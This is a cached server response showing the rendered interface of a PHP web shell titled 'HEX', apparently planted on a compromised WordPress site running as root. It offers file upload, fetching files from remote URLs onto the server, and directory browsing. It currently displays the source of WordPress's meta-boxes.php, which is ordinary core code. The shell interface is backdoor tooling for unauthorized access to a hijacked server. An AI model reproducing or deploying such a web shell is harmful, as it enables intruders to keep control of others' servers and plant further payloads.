HEX
Server: nginx/1.26.1
System: Linux main-vm 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User: root (0)
PHP: 8.2.19
Disabled: NONE
Upload Files
File: /var/cache/nginx/fastcgi/5/e4/bc7e6b2abb79e8f2371ff487fd598e45
���h�����������h��f�W�
KEY: httpsGETrocioprime.com/2025/10/09/the-brand-new-interested-matter-of-poultry-highway-could-it-be-a-legit-gambling-enterprise-game/feed?fileloc=%2F%2Fvar%2Fwww%2Fadila%2Fwp-admin%2Fincludes%2Fmeta-boxes.php&path=%2F%2Fvar%2Fwww%2Fadila%2Fwp-admin%2Fincludes
�Content-type: text/html; charset=UTF-8

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>HEX</title>

    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">

    <style>

        * {

            margin: 0;

            padding: 0;

            box-sizing: border-box;

        }



        body {

            font-family: 'JetBrains Mono', monospace;

            background: #0d1117;

            color: #c9d1d9;

            line-height: 1.6;

            font-size: 14px;

            min-height: 100vh;

            padding: 20px;

        }



        .container {

            max-width: 1000px;

            margin: 0 auto;

        }



        /* Header */

        .header {

            background: #161b22;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 16px;

            margin-bottom: 16px;

        }



        .title {

            font-size: 18px;

            font-weight: 500;

            color: #58a6ff;

            margin-bottom: 12px;

        }



        .system-info {

            display: grid;

            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));

            gap: 8px;

            font-size: 12px;

        }



        .info-line {

            padding: 4px 0;

        }



        .info-label {

            color: #7d8590;

            display: inline-block;

            width: 120px;

        }



        .info-value {

            color: #f0883e;

        }



        /* Breadcrumb */

        .breadcrumb {

            background: #0d1117;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 12px;

            margin-bottom: 16px;

            font-size: 13px;

        }



        .breadcrumb a {

            color: #58a6ff;

            text-decoration: none;

        }



        .breadcrumb a:hover {

            text-decoration: underline;

        }



        /* Upload Section */

        .upload-section {

            background: #161b22;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 16px;

            margin-bottom: 16px;

        }



        .section-title {

            font-size: 14px;

            font-weight: 500;

            color: #f0f6fc;

            margin-bottom: 12px;

        }



        .form-row {

            margin-bottom: 12px;

        }



        .radio-group {

            display: flex;

            gap: 20px;

            margin-bottom: 12px;

        }



        .radio-item {

            display: flex;

            align-items: center;

            gap: 6px;

            font-size: 13px;

        }



        .radio-item input[type="radio"] {

            margin: 0;

        }



        input[type="file"],

        input[type="text"],

        select,

        textarea {

            background: #0d1117;

            border: 1px solid #21262d;

            border-radius: 6px;

            color: #c9d1d9;

            padding: 8px 12px;

            font-family: inherit;

            font-size: 13px;

        }



        input[type="file"]:focus,

        input[type="text"]:focus,

        select:focus,

        textarea:focus {

            outline: none;

            border-color: #58a6ff;

        }



        .btn {

            background: #21262d;

            border: 1px solid #30363d;

            border-radius: 6px;

            color: #f0f6fc;

            padding: 6px 12px;

            font-family: inherit;

            font-size: 13px;

            cursor: pointer;

            transition: all 0.2s;

        }



        .btn:hover {

            background: #30363d;

            border-color: #8b949e;

        }



        .btn-primary {

            background: #238636;

            border-color: #238636;

        }



        .btn-primary:hover {

            background: #2ea043;

        }



        .btn-danger {

            background: #da3633;

            border-color: #da3633;

        }



        .btn-danger:hover {

            background: #f85149;

        }



        .upload-row {

            display: flex;

            gap: 8px;

            align-items: end;

        }



        .upload-row input[type="file"],

        .upload-row input[type="text"] {

            flex: 1;

        }



        .upload-row input[type="text"]:last-of-type {

            max-width: 150px;

        }



        /* Messages */

        .message {

            padding: 12px;

            border-radius: 6px;

            margin: 12px 0;

            font-size: 13px;

        }



        .message-success {

            background: rgba(35, 134, 54, 0.15);

            border: 1px solid #238636;

            color: #56d364;

        }



        .message-error {

            background: rgba(218, 54, 51, 0.15);

            border: 1px solid #da3633;

            color: #f85149;

        }



        /* Table */

        .file-table {

            background: #0d1117;

            border: 1px solid #21262d;

            border-radius: 6px;

            overflow: hidden;

            margin-bottom: 20px;

        }



        table {

            width: 100%;

            border-collapse: collapse;

        }



        th {

            background: #161b22;

            padding: 12px;

            text-align: left;

            font-weight: 500;

            font-size: 13px;

            color: #f0f6fc;

            border-bottom: 1px solid #21262d;

        }



        td {

            padding: 8px 12px;

            border-bottom: 1px solid #21262d;

            font-size: 13px;

        }



        tr:hover {

            background: #161b22;

        }



        .file-link {

            color: #c9d1d9;

            text-decoration: none;

        }



        .file-link:hover {

            color: #58a6ff;

        }



        .dir-link {

            color: #58a6ff;

        }



        .size {

            color: #7d8590;

            text-align: right;

        }



        .permissions {

            font-family: 'JetBrains Mono', monospace;

            font-size: 12px;

            color: #7d8590;

        }



        .writable { color: #56d364; }

        .readonly { color: #f85149; }



        /* Action Form */

        .action-form {

            display: flex;

            gap: 4px;

            align-items: center;

        }



        .action-form select {

            font-size: 12px;

            padding: 4px 8px;

            min-width: 80px;

        }



        .action-form .btn {

            padding: 4px 8px;

            font-size: 12px;

        }



        /* Edit Form */

        .edit-form {

            background: #161b22;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 16px;

            margin: 16px 0;

        }



        .edit-form textarea {

            width: 100%;

            min-height: 400px;

            resize: vertical;

        }



        .edit-form .form-row {

            margin-top: 12px;

        }



        /* File Preview */

        .file-preview {

            background: #0d1117;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 16px;

            margin: 16px 0;

        }



        .file-preview pre {

            background: #161b22;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 16px;

            overflow-x: auto;

            font-size: 12px;

            line-height: 1.45;

        }



        /* Footer */

        .footer {

            text-align: center;

            margin-top: 40px;

            padding: 20px;

        }



        .telegram-link {

            display: inline-flex;

            align-items: center;

            gap: 8px;

            background: #0088cc;

            color: white;

            text-decoration: none;

            padding: 10px 20px;

            border-radius: 6px;

            font-size: 14px;

            font-weight: 500;

            transition: background 0.2s;

        }



        .telegram-link:hover {

            background: #0099dd;

        }



        /* Responsive */

        @media (max-width: 768px) {

            .container { padding: 10px; }

            .system-info { grid-template-columns: 1fr; }

            .upload-row { flex-direction: column; }

            .upload-row input[type="text"]:last-of-type { max-width: none; }

            table { font-size: 12px; }

            th, td { padding: 6px 8px; }

        }

    </style>

</head>

<body>

    <div class="container">

        <div class="header">

            <div class="title">HEX</div>

            

            


            <div class="system-info">

                <div class="info-line">

                    <span class="info-label">Server:</span>

                    <span class="info-value">nginx/1.26.1</span>

                </div>

                <div class="info-line">

                    <span class="info-label">System:</span>

                    <span class="info-value">Linux main-vm 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64</span>

                </div>

                <div class="info-line">

                    <span class="info-label">User:</span>

                    <span class="info-value">root (0)</span>

                </div>

                <div class="info-line">

                    <span class="info-label">PHP:</span>

                    <span class="info-value">8.2.19</span>

                </div>

                <div class="info-line" style="grid-column: 1 / -1;">

                    <span class="info-label">Disabled:</span>

                    <span class="info-value"><span class='writable'>NONE</span></span>

                </div>

            </div>

        </div>



        <div class="breadcrumb">

            $ pwd: <a href="?path=/">/</a><a href="?path=//var">var</a>/<a href="?path=//var/www">www</a>/<a href="?path=//var/www/adila">adila</a>/<a href="?path=//var/www/adila/wp-admin">wp-admin</a>/<a href="?path=//var/www/adila/wp-admin/includes">includes</a>/
        </div>

        <div class="upload-section">

            <div class="section-title">Upload Files</div>



            


            <form enctype="multipart/form-data" method="post">

                <div class="form-row">

                    <div class="radio-group">

                        <label class="radio-item">

                            <input type="radio" value="1" name="dirnya" checked>

                            <span>current [<span class='writable'>writable</span>]</span>

                        </label>

                        <label class="radio-item">

                            <input type="radio" value="2" name="dirnya">

                            <span>docroot [<span class='readonly'>readonly</span>]</span>

                        </label>

                    </div>

                </div>



                <input type="hidden" name="upwkwk" value="aplod">

                

                <div class="form-row">

                    <div class="upload-row">

                        <input type="file" name="berkas">

                        <button type="submit" name="berkasnya" class="btn btn-primary">Upload</button>

                    </div>

                </div>



                <div class="form-row">

                    <div class="upload-row">

                        <input type="text" name="darilink" placeholder="https://example.com/file.txt">

                        <input type="text" name="namalink" placeholder="filename">

                        <button type="submit" name="linknya" class="btn btn-primary">Fetch</button>

                    </div>

                </div>

            </form>

        </div>



        <div class='file-preview'><div class='section-title'>File: //var/www/adila/wp-admin/includes/meta-boxes.php</div><pre>&lt;?php
/**
 * WordPress Administration Meta Boxes API.
 *
 * @package WordPress
 * @subpackage Administration
 */

//
// Post-related Meta Boxes.
//

/**
 * Displays post submit form fields.
 *
 * @since 2.7.0
 *
 * @global string $action
 *
 * @param WP_Post $post Current post object.
 * @param array   $args {
 *     Array of arguments for building the post submit meta box.
 *
 *     @type string   $id       Meta box &#039;id&#039; attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args     Extra meta box arguments.
 * }
 */
function post_submit_meta_box( $post, $args = array() ) {
	global $action;

	$post_id          = (int) $post-&gt;ID;
	$post_type        = $post-&gt;post_type;
	$post_type_object = get_post_type_object( $post_type );
	$can_publish      = current_user_can( $post_type_object-&gt;cap-&gt;publish_posts );
	?&gt;
&lt;div class=&quot;submitbox&quot; id=&quot;submitpost&quot;&gt;

&lt;div id=&quot;minor-publishing&quot;&gt;

	&lt;?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?&gt;
	&lt;div style=&quot;display:none;&quot;&gt;
		&lt;?php submit_button( __( &#039;Save&#039; ), &#039;&#039;, &#039;save&#039; ); ?&gt;
	&lt;/div&gt;

	&lt;div id=&quot;minor-publishing-actions&quot;&gt;
		&lt;div id=&quot;save-action&quot;&gt;
			&lt;?php
			if ( ! in_array( $post-&gt;post_status, array( &#039;publish&#039;, &#039;future&#039;, &#039;pending&#039; ), true ) ) {
				$private_style = &#039;&#039;;
				if ( &#039;private&#039; === $post-&gt;post_status ) {
					$private_style = &#039;style=&quot;display:none&quot;&#039;;
				}
				?&gt;
				&lt;input &lt;?php echo $private_style; ?&gt; type=&quot;submit&quot; name=&quot;save&quot; id=&quot;save-post&quot; value=&quot;&lt;?php esc_attr_e( &#039;Save Draft&#039; ); ?&gt;&quot; class=&quot;button&quot; /&gt;
				&lt;span class=&quot;spinner&quot;&gt;&lt;/span&gt;
			&lt;?php } elseif ( &#039;pending&#039; === $post-&gt;post_status &amp;&amp; $can_publish ) { ?&gt;
				&lt;input type=&quot;submit&quot; name=&quot;save&quot; id=&quot;save-post&quot; value=&quot;&lt;?php esc_attr_e( &#039;Save as Pending&#039; ); ?&gt;&quot; class=&quot;button&quot; /&gt;
				&lt;span class=&quot;spinner&quot;&gt;&lt;/span&gt;
			&lt;?php } ?&gt;
		&lt;/div&gt;

		&lt;?php
		if ( is_post_type_viewable( $post_type_object ) ) :
			?&gt;
			&lt;div id=&quot;preview-action&quot;&gt;
				&lt;?php
				$preview_link = esc_url( get_preview_post_link( $post ) );
				if ( &#039;publish&#039; === $post-&gt;post_status ) {
					$preview_button_text = __( &#039;Preview Changes&#039; );
				} else {
					$preview_button_text = __( &#039;Preview&#039; );
				}

				$preview_button = sprintf(
					&#039;%1$s&lt;span class=&quot;screen-reader-text&quot;&gt; %2$s&lt;/span&gt;&#039;,
					$preview_button_text,
					/* translators: Hidden accessibility text. */
					__( &#039;(opens in a new tab)&#039; )
				);
				?&gt;
				&lt;a class=&quot;preview button&quot; href=&quot;&lt;?php echo $preview_link; ?&gt;&quot; target=&quot;wp-preview-&lt;?php echo $post_id; ?&gt;&quot; id=&quot;post-preview&quot;&gt;&lt;?php echo $preview_button; ?&gt;&lt;/a&gt;
				&lt;input type=&quot;hidden&quot; name=&quot;wp-preview&quot; id=&quot;wp-preview&quot; value=&quot;&quot; /&gt;
			&lt;/div&gt;
			&lt;?php
		endif;

		/**
		 * Fires after the Save Draft (or Save as Pending) and Preview (or Preview Changes) buttons
		 * in the Publish meta box.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_Post $post WP_Post object for the current post.
		 */
		do_action( &#039;post_submitbox_minor_actions&#039;, $post );
		?&gt;
		&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
	&lt;/div&gt;

	&lt;div id=&quot;misc-publishing-actions&quot;&gt;
		&lt;div class=&quot;misc-pub-section misc-pub-post-status&quot;&gt;
			&lt;?php _e( &#039;Status:&#039; ); ?&gt;
			&lt;span id=&quot;post-status-display&quot;&gt;
				&lt;?php
				switch ( $post-&gt;post_status ) {
					case &#039;private&#039;:
						_e( &#039;Privately Published&#039; );
						break;
					case &#039;publish&#039;:
						_e( &#039;Published&#039; );
						break;
					case &#039;future&#039;:
						_e( &#039;Scheduled&#039; );
						break;
					case &#039;pending&#039;:
						_e( &#039;Pending Review&#039; );
						break;
					case &#039;draft&#039;:
					case &#039;auto-draft&#039;:
						_e( &#039;Draft&#039; );
						break;
				}
				?&gt;
			&lt;/span&gt;

			&lt;?php
			if ( &#039;publish&#039; === $post-&gt;post_status || &#039;private&#039; === $post-&gt;post_status || $can_publish ) {
				$private_style = &#039;&#039;;
				if ( &#039;private&#039; === $post-&gt;post_status ) {
					$private_style = &#039;style=&quot;display:none&quot;&#039;;
				}
				?&gt;
				&lt;a href=&quot;#post_status&quot; &lt;?php echo $private_style; ?&gt; class=&quot;edit-post-status hide-if-no-js&quot; role=&quot;button&quot;&gt;&lt;span aria-hidden=&quot;true&quot;&gt;&lt;?php _e( &#039;Edit&#039; ); ?&gt;&lt;/span&gt; &lt;span class=&quot;screen-reader-text&quot;&gt;
					&lt;?php
					/* translators: Hidden accessibility text. */
					_e( &#039;Edit status&#039; );
					?&gt;
				&lt;/span&gt;&lt;/a&gt;

				&lt;div id=&quot;post-status-select&quot; class=&quot;hide-if-js&quot;&gt;
					&lt;input type=&quot;hidden&quot; name=&quot;hidden_post_status&quot; id=&quot;hidden_post_status&quot; value=&quot;&lt;?php echo esc_attr( ( &#039;auto-draft&#039; === $post-&gt;post_status ) ? &#039;draft&#039; : $post-&gt;post_status ); ?&gt;&quot; /&gt;
					&lt;label for=&quot;post_status&quot; class=&quot;screen-reader-text&quot;&gt;
						&lt;?php
						/* translators: Hidden accessibility text. */
						_e( &#039;Set status&#039; );
						?&gt;
					&lt;/label&gt;
					&lt;select name=&quot;post_status&quot; id=&quot;post_status&quot;&gt;
						&lt;?php if ( &#039;publish&#039; === $post-&gt;post_status ) : ?&gt;
							&lt;option&lt;?php selected( $post-&gt;post_status, &#039;publish&#039; ); ?&gt; value=&#039;publish&#039;&gt;&lt;?php _e( &#039;Published&#039; ); ?&gt;&lt;/option&gt;
						&lt;?php elseif ( &#039;private&#039; === $post-&gt;post_status ) : ?&gt;
							&lt;option&lt;?php selected( $post-&gt;post_status, &#039;private&#039; ); ?&gt; value=&#039;publish&#039;&gt;&lt;?php _e( &#039;Privately Published&#039; ); ?&gt;&lt;/option&gt;
						&lt;?php elseif ( &#039;future&#039; === $post-&gt;post_status ) : ?&gt;
							&lt;option&lt;?php selected( $post-&gt;post_status, &#039;future&#039; ); ?&gt; value=&#039;future&#039;&gt;&lt;?php _e( &#039;Scheduled&#039; ); ?&gt;&lt;/option&gt;
						&lt;?php endif; ?&gt;
							&lt;option&lt;?php selected( $post-&gt;post_status, &#039;pending&#039; ); ?&gt; value=&#039;pending&#039;&gt;&lt;?php _e( &#039;Pending Review&#039; ); ?&gt;&lt;/option&gt;
						&lt;?php if ( &#039;auto-draft&#039; === $post-&gt;post_status ) : ?&gt;
							&lt;option&lt;?php selected( $post-&gt;post_status, &#039;auto-draft&#039; ); ?&gt; value=&#039;draft&#039;&gt;&lt;?php _e( &#039;Draft&#039; ); ?&gt;&lt;/option&gt;
						&lt;?php else : ?&gt;
							&lt;option&lt;?php selected( $post-&gt;post_status, &#039;draft&#039; ); ?&gt; value=&#039;draft&#039;&gt;&lt;?php _e( &#039;Draft&#039; ); ?&gt;&lt;/option&gt;
						&lt;?php endif; ?&gt;
					&lt;/select&gt;
					&lt;a href=&quot;#post_status&quot; class=&quot;save-post-status hide-if-no-js button&quot;&gt;&lt;?php _e( &#039;OK&#039; ); ?&gt;&lt;/a&gt;
					&lt;a href=&quot;#post_status&quot; class=&quot;cancel-post-status hide-if-no-js button-cancel&quot;&gt;&lt;?php _e( &#039;Cancel&#039; ); ?&gt;&lt;/a&gt;
				&lt;/div&gt;
				&lt;?php
			}
			?&gt;
		&lt;/div&gt;

		&lt;div class=&quot;misc-pub-section misc-pub-visibility&quot; id=&quot;visibility&quot;&gt;
			&lt;?php _e( &#039;Visibility:&#039; ); ?&gt;
			&lt;span id=&quot;post-visibility-display&quot;&gt;
				&lt;?php
				if ( &#039;private&#039; === $post-&gt;post_status ) {
					$post-&gt;post_password = &#039;&#039;;
					$visibility          = &#039;private&#039;;
					$visibility_trans    = __( &#039;Private&#039; );
				} elseif ( ! empty( $post-&gt;post_password ) ) {
					$visibility       = &#039;password&#039;;
					$visibility_trans = __( &#039;Password protected&#039; );
				} elseif ( &#039;post&#039; === $post_type &amp;&amp; is_sticky( $post_id ) ) {
					$visibility       = &#039;public&#039;;
					$visibility_trans = __( &#039;Public, Sticky&#039; );
				} else {
					$visibility       = &#039;public&#039;;
					$visibility_trans = __( &#039;Public&#039; );
				}

				echo esc_html( $visibility_trans );
				?&gt;
			&lt;/span&gt;

			&lt;?php if ( $can_publish ) { ?&gt;
				&lt;a href=&quot;#visibility&quot; class=&quot;edit-visibility hide-if-no-js&quot; role=&quot;button&quot;&gt;&lt;span aria-hidden=&quot;true&quot;&gt;&lt;?php _e( &#039;Edit&#039; ); ?&gt;&lt;/span&gt; &lt;span class=&quot;screen-reader-text&quot;&gt;
					&lt;?php
					/* translators: Hidden accessibility text. */
					_e( &#039;Edit visibility&#039; );
					?&gt;
				&lt;/span&gt;&lt;/a&gt;

				&lt;div id=&quot;post-visibility-select&quot; class=&quot;hide-if-js&quot;&gt;
					&lt;input type=&quot;hidden&quot; name=&quot;hidden_post_password&quot; id=&quot;hidden-post-password&quot; value=&quot;&lt;?php echo esc_attr( $post-&gt;post_password ); ?&gt;&quot; /&gt;
					&lt;?php if ( &#039;post&#039; === $post_type ) : ?&gt;
						&lt;input type=&quot;checkbox&quot; style=&quot;display:none&quot; name=&quot;hidden_post_sticky&quot; id=&quot;hidden-post-sticky&quot; value=&quot;sticky&quot; &lt;?php checked( is_sticky( $post_id ) ); ?&gt; /&gt;
					&lt;?php endif; ?&gt;

					&lt;input type=&quot;hidden&quot; name=&quot;hidden_post_visibility&quot; id=&quot;hidden-post-visibility&quot; value=&quot;&lt;?php echo esc_attr( $visibility ); ?&gt;&quot; /&gt;
					&lt;input type=&quot;radio&quot; name=&quot;visibility&quot; id=&quot;visibility-radio-public&quot; value=&quot;public&quot; &lt;?php checked( $visibility, &#039;public&#039; ); ?&gt; /&gt; &lt;label for=&quot;visibility-radio-public&quot; class=&quot;selectit&quot;&gt;&lt;?php _e( &#039;Public&#039; ); ?&gt;&lt;/label&gt;&lt;br /&gt;

					&lt;?php if ( &#039;post&#039; === $post_type &amp;&amp; current_user_can( &#039;edit_others_posts&#039; ) ) : ?&gt;
						&lt;span id=&quot;sticky-span&quot;&gt;&lt;input id=&quot;sticky&quot; name=&quot;sticky&quot; type=&quot;checkbox&quot; value=&quot;sticky&quot; &lt;?php checked( is_sticky( $post_id ) ); ?&gt; /&gt; &lt;label for=&quot;sticky&quot; class=&quot;selectit&quot;&gt;&lt;?php _e( &#039;Stick this post to the front page&#039; ); ?&gt;&lt;/label&gt;&lt;br /&gt;&lt;/span&gt;
					&lt;?php endif; ?&gt;

					&lt;input type=&quot;radio&quot; name=&quot;visibility&quot; id=&quot;visibility-radio-password&quot; value=&quot;password&quot; &lt;?php checked( $visibility, &#039;password&#039; ); ?&gt; /&gt; &lt;label for=&quot;visibility-radio-password&quot; class=&quot;selectit&quot;&gt;&lt;?php _e( &#039;Password protected&#039; ); ?&gt;&lt;/label&gt;&lt;br /&gt;
					&lt;span id=&quot;password-span&quot;&gt;&lt;label for=&quot;post_password&quot;&gt;&lt;?php _e( &#039;Password:&#039; ); ?&gt;&lt;/label&gt; &lt;input type=&quot;text&quot; name=&quot;post_password&quot; id=&quot;post_password&quot; value=&quot;&lt;?php echo esc_attr( $post-&gt;post_password ); ?&gt;&quot;  maxlength=&quot;255&quot; /&gt;&lt;br /&gt;&lt;/span&gt;

					&lt;input type=&quot;radio&quot; name=&quot;visibility&quot; id=&quot;visibility-radio-private&quot; value=&quot;private&quot; &lt;?php checked( $visibility, &#039;private&#039; ); ?&gt; /&gt; &lt;label for=&quot;visibility-radio-private&quot; class=&quot;selectit&quot;&gt;&lt;?php _e( &#039;Private&#039; ); ?&gt;&lt;/label&gt;&lt;br /&gt;

					&lt;p&gt;
						&lt;a href=&quot;#visibility&quot; class=&quot;save-post-visibility hide-if-no-js button&quot;&gt;&lt;?php _e( &#039;OK&#039; ); ?&gt;&lt;/a&gt;
						&lt;a href=&quot;#visibility&quot; class=&quot;cancel-post-visibility hide-if-no-js button-cancel&quot;&gt;&lt;?php _e( &#039;Cancel&#039; ); ?&gt;&lt;/a&gt;
					&lt;/p&gt;
				&lt;/div&gt;
			&lt;?php } ?&gt;
		&lt;/div&gt;

		&lt;?php
		/* translators: Publish box date string. 1: Date, 2: Time. See https://www.php.net/manual/datetime.format.php */
		$date_string = __( &#039;%1$s at %2$s&#039; );
		/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
		$date_format = _x( &#039;M j, Y&#039;, &#039;publish box date format&#039; );
		/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
		$time_format = _x( &#039;H:i&#039;, &#039;publish box time format&#039; );

		if ( 0 !== $post_id ) {
			if ( &#039;future&#039; === $post-&gt;post_status ) { // Scheduled for publishing at a future date.
				/* translators: Post date information. %s: Date on which the post is currently scheduled to be published. */
				$stamp = __( &#039;Scheduled for: %s&#039; );
			} elseif ( &#039;publish&#039; === $post-&gt;post_status || &#039;private&#039; === $post-&gt;post_status ) { // Already published.
				/* translators: Post date information. %s: Date on which the post was published. */
				$stamp = __( &#039;Published on: %s&#039; );
			} elseif ( &#039;0000-00-00 00:00:00&#039; === $post-&gt;post_date_gmt ) { // Draft, 1 or more saves, no date specified.
				$stamp = __( &#039;Publish &lt;b&gt;immediately&lt;/b&gt;&#039; );
			} elseif ( time() &lt; strtotime( $post-&gt;post_date_gmt . &#039; +0000&#039; ) ) { // Draft, 1 or more saves, future date specified.
				/* translators: Post date information. %s: Date on which the post is to be published. */
				$stamp = __( &#039;Schedule for: %s&#039; );
			} else { // Draft, 1 or more saves, date specified.
				/* translators: Post date information. %s: Date on which the post is to be published. */
				$stamp = __( &#039;Publish on: %s&#039; );
			}
			$date = sprintf(
				$date_string,
				date_i18n( $date_format, strtotime( $post-&gt;post_date ) ),
				date_i18n( $time_format, strtotime( $post-&gt;post_date ) )
			);
		} else { // Draft (no saves, and thus no date specified).
			$stamp = __( &#039;Publish &lt;b&gt;immediately&lt;/b&gt;&#039; );
			$date  = sprintf(
				$date_string,
				date_i18n( $date_format, strtotime( current_time( &#039;mysql&#039; ) ) ),
				date_i18n( $time_format, strtotime( current_time( &#039;mysql&#039; ) ) )
			);
		}

		if ( ! empty( $args[&#039;args&#039;][&#039;revisions_count&#039;] ) ) :
			?&gt;
			&lt;div class=&quot;misc-pub-section misc-pub-revisions&quot;&gt;
				&lt;?php
				/* translators: Post revisions heading. %s: The number of available revisions. */
				printf( __( &#039;Revisions: %s&#039; ), &#039;&lt;b&gt;&#039; . number_format_i18n( $args[&#039;args&#039;][&#039;revisions_count&#039;] ) . &#039;&lt;/b&gt;&#039; );
				?&gt;
				&lt;a class=&quot;hide-if-no-js&quot; href=&quot;&lt;?php echo esc_url( get_edit_post_link( $args[&#039;args&#039;][&#039;revision_id&#039;] ) ); ?&gt;&quot;&gt;&lt;span aria-hidden=&quot;true&quot;&gt;&lt;?php _ex( &#039;Browse&#039;, &#039;revisions&#039; ); ?&gt;&lt;/span&gt; &lt;span class=&quot;screen-reader-text&quot;&gt;
					&lt;?php
					/* translators: Hidden accessibility text. */
					_e( &#039;Browse revisions&#039; );
					?&gt;
				&lt;/span&gt;&lt;/a&gt;
			&lt;/div&gt;
			&lt;?php
		endif;

		if ( $can_publish ) : // Contributors don&#039;t get to choose the date of publish.
			?&gt;
			&lt;div class=&quot;misc-pub-section curtime misc-pub-curtime&quot;&gt;
				&lt;span id=&quot;timestamp&quot;&gt;
					&lt;?php printf( $stamp, &#039;&lt;b&gt;&#039; . $date . &#039;&lt;/b&gt;&#039; ); ?&gt;
				&lt;/span&gt;
				&lt;a href=&quot;#edit_timestamp&quot; class=&quot;edit-timestamp hide-if-no-js&quot; role=&quot;button&quot;&gt;
					&lt;span aria-hidden=&quot;true&quot;&gt;&lt;?php _e( &#039;Edit&#039; ); ?&gt;&lt;/span&gt;
					&lt;span class=&quot;screen-reader-text&quot;&gt;
						&lt;?php
						/* translators: Hidden accessibility text. */
						_e( &#039;Edit date and time&#039; );
						?&gt;
					&lt;/span&gt;
				&lt;/a&gt;
				&lt;fieldset id=&quot;timestampdiv&quot; class=&quot;hide-if-js&quot;&gt;
					&lt;legend class=&quot;screen-reader-text&quot;&gt;
						&lt;?php
						/* translators: Hidden accessibility text. */
						_e( &#039;Date and time&#039; );
						?&gt;
					&lt;/legend&gt;
					&lt;?php touch_time( ( &#039;edit&#039; === $action ), 1 ); ?&gt;
				&lt;/fieldset&gt;
			&lt;/div&gt;
			&lt;?php
		endif;

		if ( &#039;draft&#039; === $post-&gt;post_status &amp;&amp; get_post_meta( $post_id, &#039;_customize_changeset_uuid&#039;, true ) ) :
			$message = sprintf(
				/* translators: %s: URL to the Customizer. */
				__( &#039;This draft comes from your &lt;a href=&quot;%s&quot;&gt;unpublished customization changes&lt;/a&gt;. You can edit, but there is no need to publish now. It will be published automatically with those changes.&#039; ),
				esc_url(
					add_query_arg(
						&#039;changeset_uuid&#039;,
						rawurlencode( get_post_meta( $post_id, &#039;_customize_changeset_uuid&#039;, true ) ),
						admin_url( &#039;customize.php&#039; )
					)
				)
			);
			wp_admin_notice(
				$message,
				array(
					&#039;type&#039;               =&gt; &#039;info&#039;,
					&#039;additional_classes&#039; =&gt; array( &#039;notice-alt&#039;, &#039;inline&#039; ),
				)
			);
		endif;

		/**
		 * Fires after the post time/date setting in the Publish meta box.
		 *
		 * @since 2.9.0
		 * @since 4.4.0 Added the `$post` parameter.
		 *
		 * @param WP_Post $post WP_Post object for the current post.
		 */
		do_action( &#039;post_submitbox_misc_actions&#039;, $post );
		?&gt;
	&lt;/div&gt;
	&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;div id=&quot;major-publishing-actions&quot;&gt;
	&lt;?php
	/**
	 * Fires at the beginning of the publishing actions section of the Publish meta box.
	 *
	 * @since 2.7.0
	 * @since 4.9.0 Added the `$post` parameter.
	 *
	 * @param WP_Post|null $post WP_Post object for the current post on Edit Post screen,
	 *                           null on Edit Link screen.
	 */
	do_action( &#039;post_submitbox_start&#039;, $post );
	?&gt;
	&lt;div id=&quot;delete-action&quot;&gt;
		&lt;?php
		if ( current_user_can( &#039;delete_post&#039;, $post_id ) ) {
			if ( ! EMPTY_TRASH_DAYS ) {
				$delete_text = __( &#039;Delete permanently&#039; );
			} else {
				$delete_text = __( &#039;Move to Trash&#039; );
			}
			?&gt;
			&lt;a class=&quot;submitdelete deletion&quot; href=&quot;&lt;?php echo get_delete_post_link( $post_id ); ?&gt;&quot;&gt;&lt;?php echo $delete_text; ?&gt;&lt;/a&gt;
			&lt;?php
		}
		?&gt;
	&lt;/div&gt;

	&lt;div id=&quot;publishing-action&quot;&gt;
		&lt;span class=&quot;spinner&quot;&gt;&lt;/span&gt;
		&lt;?php
		if ( ! in_array( $post-&gt;post_status, array( &#039;publish&#039;, &#039;future&#039;, &#039;private&#039; ), true ) || 0 === $post_id ) {
			if ( $can_publish ) :
				if ( ! empty( $post-&gt;post_date_gmt ) &amp;&amp; time() &lt; strtotime( $post-&gt;post_date_gmt . &#039; +0000&#039; ) ) :
					?&gt;
					&lt;input name=&quot;original_publish&quot; type=&quot;hidden&quot; id=&quot;original_publish&quot; value=&quot;&lt;?php echo esc_attr_x( &#039;Schedule&#039;, &#039;post action/button label&#039; ); ?&gt;&quot; /&gt;
					&lt;?php submit_button( _x( &#039;Schedule&#039;, &#039;post action/button label&#039; ), &#039;primary large&#039;, &#039;publish&#039;, false ); ?&gt;
					&lt;?php
				else :
					?&gt;
					&lt;input name=&quot;original_publish&quot; type=&quot;hidden&quot; id=&quot;original_publish&quot; value=&quot;&lt;?php esc_attr_e( &#039;Publish&#039; ); ?&gt;&quot; /&gt;
					&lt;?php submit_button( __( &#039;Publish&#039; ), &#039;primary large&#039;, &#039;publish&#039;, false ); ?&gt;
					&lt;?php
				endif;
			else :
				?&gt;
				&lt;input name=&quot;original_publish&quot; type=&quot;hidden&quot; id=&quot;original_publish&quot; value=&quot;&lt;?php esc_attr_e( &#039;Submit for Review&#039; ); ?&gt;&quot; /&gt;
				&lt;?php submit_button( __( &#039;Submit for Review&#039; ), &#039;primary large&#039;, &#039;publish&#039;, false ); ?&gt;
				&lt;?php
			endif;
		} else {
			?&gt;
			&lt;input name=&quot;original_publish&quot; type=&quot;hidden&quot; id=&quot;original_publish&quot; value=&quot;&lt;?php esc_attr_e( &#039;Update&#039; ); ?&gt;&quot; /&gt;
			&lt;?php submit_button( __( &#039;Update&#039; ), &#039;primary large&#039;, &#039;save&#039;, false, array( &#039;id&#039; =&gt; &#039;publish&#039; ) ); ?&gt;
